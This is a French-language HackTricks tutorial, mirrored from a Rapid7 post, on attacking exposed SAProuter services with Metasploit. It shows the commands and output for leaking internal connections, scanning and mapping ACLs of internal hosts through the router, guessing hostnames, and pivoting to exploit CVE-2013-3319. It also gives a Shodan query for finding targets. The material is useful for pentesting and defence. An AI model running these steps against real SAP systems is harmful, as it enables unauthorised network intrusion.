Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-23 05:03:35 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/network-services-pentesting/3299-pentesting-saprouter.md

22 KiB
Raw Blame History

Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres moyens de soutenir HackTricks :

Copie de : https://blog.rapid7.com/2014/01/09/piercing-saprouter-with-metasploit/

PORT     STATE SERVICE    VERSION
3299/tcp open  saprouter?

Percer SAProuter avec Metasploit

SAProuter est essentiellement un proxy inverse pour les systèmes SAP, se situant généralement entre Internet et les systèmes SAP internes. Son objectif principal est de permettre un accès contrôlé depuis les hôtes sur Internet vers les systèmes SAP internes, car il permet un contrôle plus fin des protocoles SAP qu'un pare-feu classique.

Cela signifie que SAProuter finit généralement par être exposé à Internet, en autorisant le port TCP entrant 3299 vers l'hôte SAProuter sur les pare-feu de l'organisation. Et depuis le SAProuter, il devrait au moins être possible d'atteindre un serveur SAP interne. Cela en fait une cible très intéressante, car il peut fournir un moyen d'entrer dans le réseau à “haute valeur”.

La figure suivante montre une configuration réseau de base, que nous utiliserons pour les exemples :

Nous commencerons d'abord par effectuer un scan de service SAP de l'adresse IP exposée, en utilisant le module sap_service_discovery, dans ce cas, 1.2.3.101.

msf> use auxiliary/scanner/sap/sap_service_discovery
msf auxiliary(sap_service_discovery) > set RHOSTS 1.2.3.101
RHOSTS => 1.2.3.101
msf auxiliary(sap_service_discovery) > run

[*] [SAP] Beginning service Discovery '1.2.3.101'

[+] 1.2.3.101:3299      - SAP Router OPEN
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

L'analyse nous montre que l'hôte exécute un SAP router sur le port TCP 3299 attendu. Nous pouvons maintenant approfondir et tenter d'obtenir des informations du saprouter. S'il a été mal configuré, et c'est souvent le cas, il peut être possible d'obtenir des informations internes, telles que les connexions établies via le saprouter vers des hôtes internes. À cette fin, nous utilisons le module sap_router_info_request :

msf auxiliary(sap_router_info_request) > use auxiliary/scanner/sap/sap_router_info_request
msf auxiliary(sap_router_info_request) > set RHOSTS 1.2.3.101
RHOSTS => 1.2.3.101
msf auxiliary(sap_router_info_request) > run

[+] 1.2.3.101:3299 - Connected to saprouter
[+] 1.2.3.101:3299 - Sending ROUTER_ADM packet info request
[+] 1.2.3.101:3299 - Got INFO response
[+] Working directory   : /opt/sap
[+] Routtab             : ./saprouttab

[SAP] SAProuter Connection Table for 1.2.3.101
===================================================

Source        Destination   Service
------        -----------   -------
1.2.3.12      192.168.1.18  3200


[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

À partir de la sortie, nous voyons que quelqu'un sur Internet 1.2.3.12 est connecté à un hôte interne 192.168.1.18 sur le port 3200. Le port 3200 est un port SAP courant pour le protocole DIAG c'est là que l'application SAP GUI se connecte aux serveurs SAP. Nous obtenons également des informations sur le schéma d'adressage IP interne, ils utilisent très certainement au moins le réseau 192.168.1.0/24, ou un sous-réseau dans ce réseau.

Énumération des hôtes et services internes

Avec ces informations, nous sommes maintenant en mesure de commencer à scanner le réseau interne. Puisque saprouter fonctionne comme un proxy, nous allons tenter de nous y connecter et de demander des connexions à des hôtes et ports internes, et voir les réponses de saprouter. Cela peut donner plus d'aperçu sur les hôtes internes, les services et les ACL, en fonction de la configuration du saprouter. Nous utiliserons le module sap_router_portscanner à cette fin.

Le module se connecte au saprouter et demande des connexions à d'autres hôtes définis dans l'option TARGETS sur des ports TCP spécifiques. Il analyse ensuite les réponses et détermine si la connexion demandée est possible ou non. Ce module propose quelques options qui peuvent être utilisées :

Basic options:
Name         Current Setting  Required  Description
----         ---------------  --------  -----------
CONCURRENCY  10               yes       The number of concurrent ports to check per host
INSTANCES    00-99            no        SAP instance numbers to scan (NN in PORTS definition)
MODE         SAP_PROTO        yes       Connection Mode: SAP_PROTO or TCP  (accepted: SAP_PROTO, TCP)
PORTS        32NN             yes       Ports to scan (e.g. 3200-3299,5NN13)
RESOLVE      local            yes       Where to resolve TARGETS (accepted: remote, local)
RHOST                         yes       SAPRouter address
RPORT        3299             yes       SAPRouter TCP port
TARGETS                       yes       Comma delimited targets. When resolution is local address ranges or CIDR identifiers allowed.

Au minimum, vous devrez définir l'adresse IP du saprouter, dans l'exemple, 1.2.3.101. Ensuite, définissez TARGETS avec les adresses du réseau interne que vous souhaitez scanner, et enfin définissez PORTS avec les ports TCP à scanner.

Le module fournit également une option INSTANCES qui permet de simplifier la définition de l'option PORTS. Les installations SAP prennent en charge plusieurs instances, fournissant des services similaires, donc chaque instance se voit attribuer des ports TCP. Par exemple, l'instance SAP 00 aura le service de dispatching SAP auquel se connecte SAP GUI sur le port 3200 et l'instance 01 sur le port 3201. L'option PORTS prend en charge un "joker" qui est "NN" qui sera remplacé par le numéro de l'instance, permettant ainsi de scanner les ports pour toutes les instances définies. Donc, si nous voulons scanner les instances de 00 à 50, nous pouvons définir les variables INSTANCES et PORTS de cette manière :

msf auxiliary(sap_router_portscanner) > set INSTANCES 00-50
INSTANCES => 00-01
msf auxiliary(sap_router_portscanner) > set PORTS 32NN
PORTS => 32NN

Avec ce paramètre, le module va scanner les ports dans la plage 3200 à 3250.

Dans le code source du module, vous avez des informations concernant les ports par défaut courants sur les systèmes SAP, que nous allons maintenant utiliser pour le scan :

msf > use auxiliary/scanner/sap/sap_router_portscanner
msf auxiliary(sap_router_portscanner) > use auxiliary/scanner/sap/sap_router_portscanner
msf auxiliary(sap_router_portscanner) > set RHOST 1.2.3.101
RHOST => 1.2.3.101
msf auxiliary(sap_router_portscanner) > set TARGETS 192.168.1.18
TARGETS => 192.168.1.18
msf auxiliary(sap_router_portscanner) > set INSTANCES 00-01
INSTANCES => 00-01
msf auxiliary(sap_router_portscanner) > set PORTS 32NN,33NN,48NN,80NN,36NN,81NN,5NN00-5NN19,21212,21213,59975,59976,4238-4241,3299,3298,515,7200,7210,7269,7270,7575,39NN,3909,4NN00,8200,8210,8220,8230,4363,4444,4445,9999,3NN01-3NN08,3NN11,3NN17,20003-20007,31596,31597,31602,31601,31604,2000-2002,8355,8357,8351-8353,8366,1090,1095,20201,1099,1089,443NN,444NN
PORTS => 32NN,33NN,48NN,80NN,36NN,81NN,5NN00-5NN19,21212,21213,59975,59976,4238-4241,3299,3298,515,7200,7210,7269,7270,7575,39NN,3909,4NN00,8200,8210,8220,8230,4363,4444,4445,9999,3NN01-3NN08,3NN11,3NN17,20003-20007,31596,31597,31602,31601,31604,2000-2002,8355,8357,8351-8353,8366,1090,1095,20201,1099,1089,443NN,444NN
msf auxiliary(sap_router_portscanner) > run

[*] Scanning 192.168.1.18
[!] Warning: Service info could be inaccurate

Portscan Results
================

Host           Port   State   Info
----           ----   -----   ----
192.168.1.18   3201   closed  SAP Dispatcher sapdp01
192.168.1.18   3200   open    SAP Dispatcher sapdp00
192.168.1.18   50013  open    SAP StartService [SOAP] sapctrl00

[*] Auxiliary module execution completed

Nous pouvons essayer de comprendre pourquoi certaines connexions ne sont pas autorisées à travers le saprouter en utilisant l'option VERBOSE. Lorsque VERBOSE est défini sur true, nous pouvons voir la réponse du saprouter et cartographier l'ACL définie.

Nous allons maintenant scanner les hôtes 192.168.1.18 et 192.168.1.1, mais uniquement sur le port 3200, pour voir si nous pouvons nous connecter aux deux dispatchers SAP :

msf auxiliary(sap_router_portscanner) > set VERBOSE true
VERBOSE => true
msf auxiliary(sap_router_portscanner) > set TARGETS 192.168.1.1,192.168.1.18
TARGETS => 192.168.1.1,192.168.1.18
msf auxiliary(sap_router_portscanner) > set PORTS 32NN
PORTS => 32NN
msf auxiliary(sap_router_portscanner) > run

[*] Scanning 192.168.1.18
[+] 192.168.1.18:3200 - TCP OPEN
[!] Warning: Service info could be inaccurate

Portscan Results
================

Host          Port  State   Info
----          ----  -----   ----
192.168.1.18  3200  open  SAP Dispatcher sapdp00

[*] Scanning 192.168.1.1
[-] 192.168.1.1:3200 - blocked by ACL
[!] Warning: Service info could be inaccurate
[*] Auxiliary module execution completed

Comme vous pouvez le voir, nous savons maintenant également que nous ne pouvons pas nous connecter à d'autres hôtes sur le port 3200, car il est bloqué par la liste de contrôle d'accès (ACL) définie sur le saprouter.

Cartographie des ACL

Un aspect intéressant du saprouter est qu'il prend en charge deux types de connexions :

  • Native – Ce sont simplement des connexions TCP ;
  • Protocole SAP – Ce sont des connexions TCP avec une particularité, le protocole stipule que tous les messages commencent par 4 octets indiquant la longueur du contenu suivant.

Le protocole SAP est spécifique au saprouter et est utilisé par le SAP GUI pour se connecter au port SAP DIAG à travers le saprouter. Le protocole natif est utilisé pour permettre le passage d'autres types de connexions à travers le saprouter.

Ce module permet de spécifier le type de connexion à tester pendant le scan dans l'option MODE. Le protocole SAP est le réglage par défaut, qui est le plus susceptible d'être utilisé en production. Cependant, il n'est pas rare de trouver d'autres services autorisés à travers le saprouter, où l'ACL permettra des connexions natives TCP à passer.

Nous pouvons régler le MODE sur TCP afin d'évaluer si ce type de connexions est autorisé. Nous allons maintenant scanner les hôtes internes, à la fois sur le port 3200 SAP DIAG et 80 HTTP, avec VERBOSE réglé sur true, sur les deux instances 00 et 01 et voir ce qui se passe :

msf auxiliary(sap_router_portscanner) > set MODE TCP
MODE => TCP

msf auxiliary(sap_router_portscanner) > set PORTS 80,32NN
PORTS => 80,32NN
msf auxiliary(sap_router_portscanner) > set INSTANCES 00-01
INSTANCES => 00-01
msf auxiliary(sap_router_portscanner) > run

[*] Scanning 192.168.1.18
[+] 192.168.1.18:80 - TCP OPEN
[-] 192.168.1.18:3200 - blocked by ACL
[+] 192.168.1.18:3201 - TCP OPEN
[!] Warning: Service info could be inaccurate

Portscan Results
================

Host          Port  State  Info
----          ----  -----  ----
192.168.1.18  80    open
192.168.1.18  3201  open   SAP Dispatcher sapdp01

[*] Scanning 192.168.1.1
[-] 192.168.1.1:3200 - blocked by ACL
[+] 192.168.1.1:3201 - TCP OPEN
[+] 192.168.1.1:80 - TCP OPEN
[!] Warning: Service info could be inaccurate

Portscan Results
================

Host         Port  State  Info
----         ----  -----  ----
192.168.1.1  3201  open   SAP Dispatcher sapdp01
192.168.1.1  80    open

[*] Auxiliary module execution completed

À partir de la sortie et des informations précédentes, nous savons maintenant que la liste de contrôle d'accès (ACL) ressemble à ceci :

  • Autoriser les connexions TCP de n'importe quel hôte vers 192.168.1.1 sur le port 80
  • Autoriser les connexions TCP de n'importe quel hôte vers 192.168.1.18 sur le port 80
  • Autoriser les connexions TCP de n'importe quel hôte vers 192.168.1.1 sur le port 3201
  • Autoriser les connexions TCP de n'importe quel hôte vers 192.168.1.18 sur le port 3201
  • Autoriser les connexions SAP de n'importe quel hôte vers 192.168.1.18 sur le port 3200

Énumération aveugle des hôtes internes

Si vous vous souvenez, nous avons commencé par obtenir des informations du saprouter qui nous ont permis de connaître l'adresse IP d'un hôte interne, et nous avons continué à partir de là. Mais que se passe-t-il si le saprouter ne nous fournit pas ces informations ?

Une option consiste à commencer à scanner les espaces d'adresses privées pour voir ce qui se passe. L'autre consiste à énumérer aveuglément les hôtes par nom d'hôte.

Les saprouters sont capables de résoudre les noms d'hôtes que nous leur demandons de se connecter. Le saprouter a également la gentillesse de nous faire savoir quelles sont les erreurs lorsqu'il échoue à se connecter vous pouvez réellement voir les réponses brutes en décommentant la ligne 242 dans le code source du module.

Avec cette fonctionnalité, nous sommes capables d'énumérer les hôtes internes par nom d'hôte et d'essayer d'aller directement vers le jackpot !

Pour cela, nous devons définir l'option RESOLVE sur "remote". Dans ce cas, le module demandera la connexion aux TARGETS définis, sans les résoudre localement, et nous pouvons essayer de deviner les hôtes internes et éventuellement nous connecter à eux sans jamais connaître leurs adresses IP.

Points importants à retenir lors de l'énumération aveugle des hôtes :

  • Définir VERBOSE sur true ;
  • Nous obtiendrons plus d'informations du saprouter si MODE est défini sur SAP_PROTO ;
  • Il suffit de définir un seul port à scanner, puisque nous sommes seulement intéressés à ce stade par les informations envoyées par le saprouter essayez 3200 ;
  • Les résultats varieront en fonction de l'ACL configurée. Malheureusement, les connexions bloquées ne nous donneront pas beaucoup d'informations.

Dans cet exemple, nous allons essayer les noms d'hôtes sap, sapsrv et sapsrv2.

msf auxiliary(sap_router_portscanner) > set RESOLVE remote
RESOLVE => remote
msf auxiliary(sap_router_portscanner) > set MODE SAP_PROTO
MODE => SAP_PROTO
msf auxiliary(sap_router_portscanner) > set VERBOSE true
VERBOSE => true
msf auxiliary(sap_router_portscanner) > set TARGETS sap,sapsrv,sapsrv2
TARGETS => sap,sapsrv,sapsrv2
msf auxiliary(sap_router_portscanner) > set PORTS 3200
PORTS => 3200
msf auxiliary(sap_router_portscanner) > run

[*] Scanning sap
[-] sap:3200 - unknown host
[!] Warning: Service info could be inaccurate
[*] Scanning sapsrv
[-] sapsrv:3200 - host unreachable
[!] Warning: Service info could be inaccurate
[*] Scanning sapsrv2
[+] sapsrv2:3200 - TCP OPEN
[!] Warning: Service info could be inaccurate

Portscan Results
================

Host     Port  State  Info
----     ----  -----  ----
sapsrv2  3200  open   SAP Dispatcher sapdp00

[*] Auxiliary module execution completed

À partir de la sortie, nous voyons que l'hôte "sap" n'existe pas, mais que l'hôte sapsrv existe, bien qu'il soit injoignable, et sapsrv2 existe et nous pouvons nous connecter au port 3200.

Cette technique peut également être utilisée pour essayer de trouver d'autres hôtes sur le réseau, non liés à SAP, il suffit d'essayer d'utiliser des noms d'hôtes communs, comme smtp, exchange, pdc, bdc, fileshare, intranet, ou d'autres jolis noms d'hôtes que vous pourriez avoir dans votre sac à astuces.

Le dernier kilomètre

Maintenant que nous avons obtenu toutes ces informations, nous connaissons les hôtes internes disponibles, quels services sont autorisés et quels protocoles nous pouvons utiliser pour percer le saprouter, nous pouvons réellement nous connecter aux serveurs internes et procéder à notre pentest.

Metasploit nous offre une manière impressionnante d'utiliser le saprouter comme un proxy, en utilisant l'option Proxies, grâce à Dave Hartley (@nmonkee).

À ce stade, nous voulons commencer à rassembler des informations sur le serveur sap interne que nous avons découvert dans l'hôte 192.168.1.18. Comme exemple, nous utiliserons le module sap_hostctrl_getcomputersystem qui exploite la CVE-2013-3319 et nous donne des détails sur le système d'exploitation sur lequel le serveur fonctionne en interrogeant le service SAP Host Control sur le port 1128 via une requête SOAP non authentifiée. Nous allons pivoter à travers le saprouter, en utilisant le support de proxy dans metasploit :

msf auxiliary(sap_router_portscanner) > use auxiliary/scanner/sap/sap_hostctrl_getcomputersystem
msf auxiliary(sap_hostctrl_getcomputersystem) > set Proxies sapni:1.2.3.101:3299
Proxies => sapni:1.2.3.101:3299
msf auxiliary(sap_hostctrl_getcomputersystem) > set RHOSTS 192.168.1.18
RHOSTS => 192.168.1.18
msf auxiliary(sap_hostctrl_getcomputersystem) > run

[+] 192.168.1.18:1128 - Information retrieved successfully
[*] 192.168.1.18:1128 - Response stored in /Users/msfusr/.msf4/loot/20140107180827_default_192.168.1.18_sap.getcomputers_386124.xml (XML) and /Users/msfusr/.msf4/loot/20140107180827_default_192.168.1.18_sap.getcomputers_186948.txt (TXT)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Si tout s'est bien passé, vous aurez une belle sortie du module dans le butin contenant des informations internes intéressantes de l'hôte SAP cible telles que des noms d'utilisateur internes que vous pouvez ensuite essayer de forcer brutalement.

Le pivotement peut et devrait ! être utilisé pour exécuter d'autres modules contre des hôtes internes, pas seulement des systèmes SAP !

Conclusion

Nous avons vu comment il est possible d'exploiter des configurations de saprouter faibles qui peuvent permettre l'accès à des hôtes internes depuis Internet, tout cela en utilisant uniquement le support de metasploit pour le pentesting des systèmes SAP.

J'espère que cet article pourra éclairer à la fois les risques associés aux déploiements de saprouter, ainsi que la sécurité SAP en général.

Références

Shodan

  • port:3299 !HTTP Network packet too big
Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres moyens de soutenir HackTricks :